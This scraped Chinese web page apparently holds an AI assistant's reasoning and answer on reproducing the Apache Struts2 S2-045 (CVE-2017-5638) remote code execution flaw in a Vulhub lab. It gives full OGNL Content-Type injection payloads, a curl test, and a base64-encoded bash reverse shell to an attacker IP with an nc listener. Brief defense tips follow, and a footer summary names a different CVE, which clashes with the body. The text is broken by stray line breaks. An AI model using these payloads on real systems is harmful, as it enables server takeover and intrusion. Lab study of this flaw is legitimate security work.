<think>我们参考提供的引用内容，特别是引用[4]和引用[5]来回答用户的问题。用户明确要求
复现S
2-045
漏洞（
CVE-2017
-5638）。
根据引用[4]：该
漏洞影响范围是使用基于Jakarta插件的文件上传功能时，通过修改HTTP请求头中的Content
-Type值来触发
漏洞。
引用[5]给出了具体的利用代码，是一个
OGNL表达式，用于执行系统命令（例如反弹shell）。
复现步骤：
1. 环境搭建：使用vulhub提供的环境，进入s
2-045目录，启动环境。
2. 构造恶意请求：利用curl或其他工具发送一个HTTP请求，在Content
-Type头中插入恶意的
OGNL表达式。
3. 执行命令：
OGNL表达式会执行任意系统命令，如计算
233*
233（用于验证）或者反弹shell。
具体步骤：
步骤1：搭建
漏洞环境
- 假设已经安装好docker和vulhub
漏洞库。
- 进入对应目录：`cd vulhub/
struts2/s
2-045`
- 启动环境：`docker
-compose up
-d`
步骤
2：验证
漏洞存在（以执行计算
233*
233为例）
- 构造恶意请求，将以下命令中的URL替换为实际目标URL（通常是8080端口）
- 命令示例：
```bash
curl
-v
-X POST http://目标IP:8080/
-H "Content
-Type: %{
(#nike='multipart/form
-data'
).
(#dm=@
ognl.
OgnlContext@DEFAULT_MEMBER_ACCESS
).
(#_memberAccess?
(#_memberAccess=#dm
):
((#container=#context['com.opensymphony.xwork
2.ActionContext.container']
).
(#
ognlUtil=#container.getInstance
(@com.opensymphony.xwork
2.
ognl.
OgnlUtil@class
)).
(#
ognlUtil.getExcludedPackageNames
().clear
()).
(#
ognlUtil.getExcludedClasses
().clear
()).
(#context.setMemberAccess
(#dm
)))).
(#ros=
(@org.
apache.
struts2.ServletActionContext@getResponse
().getOutputStream
())).
(#ros.println
(233*
233
))}"
```
- 如果
漏洞存在，返回的响应中会包含
233*
233的计算结果（54
289）。
步骤3：执行反弹shell（可选）
- 需要将
OGNL表达式中的命令替换为反弹shell的命令，并替换IP和端口。
- 注意：
OGNL表达式中的特殊字符需要进行适当编码（如引号、重定向符号等）。
- 引用[5]中给出了一个反弹shell的
OGNL表达式示例，但注意该示例中使用了`bash
-i>&/dev/tcp/ip/port 0>&1`，需要将`ip`和`port`替换为
攻击机的IP和监听端口。
- 示例代码（注意：实际使用需要将单引号内的命令替换，并确保整个表达式正确）：
```bash
%{
(#nike='multipart/form
-data'
).
(#dm=@
ognl.
OgnlContext@DEFAULT_MEMBER_ACCESS
).
(#_memberAccess?
(#_memberAccess=#dm
):
((#container=#context['com.opensymphony.xwork
2.ActionContext.container']
).
(#
ognlUtil=#container.getInstance
(@com.opensymphony.xwork
2.
ognl.
OgnlUtil@class
)).
(#
ognlUtil.getExcludedPackageNames
().clear
()).
(#
ognlUtil.getExcludedClasses
().clear
()).
(#context.setMemberAccess
(#dm
)))).
(#cmd='bash
-c {echo,YmFzaCAtaSA+JiAvZGV
2L3RjcC8xOTIuMTY4LjEyLjEvOTk5OSAwPiYx}|{base64,
-d}|{bash,
-i}'
).
(#iswin=
(@java.lang.System@getProperty
('os.name'
).toLowerCase
().contains
('win'
))).
(#cmds=
(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','
-c',#cmd}
)).
(#p=new java.lang.ProcessBuilder
(#cmds
)).
(#p.redirectErrorStream
(true
)).
(#process=#p.start
()).
(#ros=
(@org.
apache.
struts2.ServletActionContext@getResponse
().getOutputStream
())).
(@org.
apache.commons.io.IOUtils@copy
(#process.getInputStream
(),#ros
)).
(#ros.flush
())}
```
- 上面的反弹shell命令采用了base64编码（编码内容为`bash
-i >& /dev/tcp/19
2.168.1
2.1/9999 0>&1`），以避免特殊字符问题。实际使用时需要将IP和端口替换成
攻击机的IP和端口，并重新编码（注意：base64编码后替换示例中的`YmFzaCAtaSA+JiAvZGV
2L3RjcC8xOTIuMTY4LjEyLjEvOTk5OSAwPiYx`）。
步骤4：在
攻击机上开启监听
- 使用nc命令监听端口：`nc
-lvp 9999`
步骤5：发送恶意请求
- 将构造好的恶意Content
-Type头放入POST请求中发送到目标。
注意事项：
1.
复现环境为实验环境，请勿用于非法用途。
2.
复现完成后，关闭环境：`docker
-compose down`
引用说明：
[^4] 提供了
漏洞描述和环境搭建方法。
[^5] 提供了具体的利用代码。
根据以上步骤，我们可以完成S
2-045
漏洞的
复现。
</think>###
Struts2 漏洞复现（S
2-045/
CVE-2017
-5638）
根据引用内容和
漏洞复现最佳实践，步骤如下：
#### 一、
漏洞原理
该
漏洞源于Jakarta文件上传插件的异常处理机制。当
攻击者**恶意构造`Content
-Type`请求头**时，
Struts2会错误执行其中的
OGNL表达式，导致远程代码执行（RCE）[^4][^5]。影响范围：
- Struts 2.3.5
- 2.3.31
- Struts 2.5
- 2.5.10
#### 二、
复现步骤
1. **环境搭建**
使用Vulhub靶场（需提前安装Docker）：
```bash
cd vulhub/
struts2/s
2-045 # 进入
漏洞目录
docker
-compose up
-d # 启动环境
docker ps # 确认容器运行（默认端口8080）
```
2. **验证
漏洞存在性**
执行测试命令（计算`
233*
233`）：
```bash
curl
-v
-X POST http://目标IP:8080/ \
-H "Content
-Type: %{
(#nike='multipart/form
-data'
).
(#ros=
(@org.
apache.
struts2.ServletActionContext@getResponse
().getOutputStream
())).
(#ros.println
(233*
233
))}"
```
**预期结果**：响应中包含`54
289`（即$
233^
2$的计算结果）[^5]。
3. **获取反向Shell（关键步骤）**
修改
OGNL表达式执行反弹Shell：
```bash
# 替换以下内容：
# <ATTACKER_IP> =
攻击机IP
# <PORT> = 监听端口
PAYLOAD='%{
(#nike="multipart/form
-data"
).
(#dm=@
ognl.
OgnlContext@DEFAULT_MEMBER_ACCESS
).
(#_memberAccess?
(#_memberAccess=#dm
):
((#container=#context["com.opensymphony.xwork
2.ActionContext.container"]
).
(#
ognlUtil=#container.getInstance
(@com.opensymphony.xwork
2.
ognl.
OgnlUtil@class
)).
(#
ognlUtil.getExcludedPackageNames
().clear
()).
(#
ognlUtil.getExcludedClasses
().clear
()).
(#context.setMemberAccess
(#dm
)))).
(#cmd="bash
-c {echo,<BASE64_ENCODED_COMMAND>}|{base64,
-d}|{bash,
-i}"
).
(#p=new java.lang.ProcessBuilder
(#cmd
)).
(#p.redirectErrorStream
(true
)).
(#process=#p.start
()).
(#ros=
(@org.
apache.
struts2.ServletActionContext@getResponse
().getOutputStream
())).
(@org.
apache.commons.io.IOUtils@copy
(#process.getInputStream
(),#ros
))}'
# 生成Base64编码的反弹Shell命令（示例）：
SHELL_CMD="bash
-i >& /dev/tcp/<ATTACKER_IP>/<PORT> 0>&1"
ENCODED_CMD=$
(echo "$SHELL_CMD" | base64 | tr
-d '\n'
)
# 发送Payload
curl
-v
-X POST http://目标IP:8080/
-H "Content
-Type: $PAYLOAD"
```
**说明**：需提前在
攻击机用`nc
-lvp <PORT>`监听端口[^5]。
#### 三、防御建议
1. 升级到
Struts 2.3.3
2或
2.5.10.1+
2. 禁用Jakarta文件上传插件
3. 在WAF中过滤异常`Content
-Type`头（如包含`#`、`{`等符号）
####
复现注意事项
- 实验环境需隔离，避免影响真实系统
- Vulhub环境
复现后关闭容器：`docker
-compose down`
- 反向Shell命令需根据目标系统调整（Windows/Linux）
---
### 相关问题
1.
Struts2其他高危
漏洞（如S
2-005、S
2-046）的利用原理有何异同？
2. 如何通过流量特征检测
Struts2 OGNL注入攻击？
3. 除文件上传外，
Struts2还有哪些常见
攻击面？
[^1]: vulhub
漏洞复现篇：s
2-046
[^
2]: vulhub
漏洞复现篇：S
2-005
[^3]:
Struts2(s
2-045
)漏洞分析
[^4]: vulhub
漏洞复现篇：s
2-045
[^5]: vulhub
-Struts2-045
漏洞复现
本文详细描述了一起针对ApacheStruts2的漏洞（CVE-2013-2135），涉及远程攻击者利用精心构造的请求执行任意OGNL代码。作者提供了漏洞复现步骤，包括payload构造和bash反弹shell实例，并给出了安全处置建议。
扫一扫
1036
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
